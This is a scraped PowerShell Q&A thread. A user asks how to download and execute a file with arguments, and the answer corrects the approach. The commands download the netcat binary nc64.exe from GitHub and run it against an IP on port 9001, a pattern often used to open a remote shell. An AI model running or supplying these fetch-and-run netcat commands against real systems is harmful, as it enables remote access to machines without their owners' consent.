How to use Powershell to download and pipe to execution with arguments

Question

I am trying to use powershell to download and execute a file with arguments:

. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001

I get this error:

Unexpected token '9001' in expression or statement.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnexpectedToken

Any help appreciated.

Answer 1

Invoke-Expression ( ie ) is for interpreting and executing text as PowerShell code ^[1] - you can't use it to execute a binary download directly (which PowerShell fundamentally doesn't support).

Instead, use Invoke-WebRequest 's ( iwr 's) -OutFile parameter to download the binary content to a local file and execute the latter:

iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile ./nc64.exe

./nc64.exe $someIp 9001

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^{[1] The obligatory warning: Invoke-Expression ( iex ) should generally be avoided and used only as a last resort , due to its inherent security risks. Superior alternatives are usually available. If there truly is no alternative, only ever use it on input you either provided yourself or fully trust - see this answer .}